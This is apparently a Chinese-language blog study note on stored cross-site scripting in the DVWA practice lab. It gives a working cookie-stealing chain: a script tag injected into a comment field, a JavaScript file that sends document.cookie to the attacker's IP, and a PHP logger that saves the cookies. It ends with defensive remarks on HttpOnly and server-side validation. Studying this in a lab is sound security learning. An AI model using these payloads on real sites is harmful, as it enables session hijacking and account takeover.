Web安全測試學習筆記-DVWA-存儲型XSS

XSS(Cross-Site Scripting)大體分爲反射型和存儲型兩種,以前對XSS的認知僅停留在若是網站輸入框沒有屏蔽相似<script>alert('ok')</script>的代碼,那麼這個網站就有被XSS攻擊的風險,到底有什麼風險呢?又是怎麼被攻擊的呢?sorry,我也不知道>_<php

 

我用DVWA來練習存儲型XSS,目標是竊取用戶帳號(經過拿到對方的登陸cookie)。我在本機再開一臺虛擬機,用虛擬機(模擬另外一個用戶)訪問:http://IP地址/dvwa/vulnerabilities/xss_s/。這個頁面是否是很像留言或者評論頁面~前端

 

security level = low後端

1.  在本機登陸(模擬攻擊方),輸入時發現Name作了長度限制,而Message沒有,因此攻擊點在Message的輸入框cookie

     輸入:<script src="http://172.24.107.155/test.js"></script>app

     

     

     刷新一下當前頁面,剛插入的記錄仍然存在,說明惡意代碼已經被「存儲」在這個頁面了~xss

2. 在本機的php服務下放入js代碼文件和php文件。網站

   js文件用來在被攻擊方採集cookie並傳入php頁面,php頁面將cookie存入名爲cookies的文件中。ui

   test.js文件內容:spa

var img = document.createElement("img") img.src = "http://本機ip地址/test.php?cookies="+escape(document.cookie); document.body.appendChild(img);

  test.php文件內容:code

<?php $cookie = $_GET["cookies"];error_log($cookie ."". "\n",3,"cookies"); ?>

3. 在虛擬機登陸(模擬被攻擊方),訪問剛纔的頁面:http://IP地址/dvwa/vulnerabilities/xss_s/,被攻擊方也能看到剛纔上傳的那條記錄(此時js代碼已經被執行了..>_<..):

4. 得到登陸憑證

    攻擊方此時啥也不用再幹,守株待兔,等着js吧cookie發送到本機後,到剛纔放入test.js和test.php文件的地方,會發現多了一個名爲cookies的文件~

    

     打開cookies文件,裏面記錄了被攻擊方的登錄cookie:

    

    拿到對方的登陸憑證以後,咱們就能經過構造http請求(把對方的cookie傳進去),以對方的身份操做網站,若是對方的是admin的話,Hmm......

 

security level = medium/high

medium和high模式下,對Message作了輸入過濾,對name只替換了<script>,並加上了長度限制,使用Burp Suite抓包把name的輸入改成以下便可

 

一點點感悟:

1. 經過腳本讀取cookie其實很好防護,加上HttpOnly就行了>_<

2. 參數的長度校驗先後端都要作,只作前端等於沒作。。。

 

如需轉載,請註明出處,這是對他人勞動成果的尊重~

相關文章
相關標籤/搜索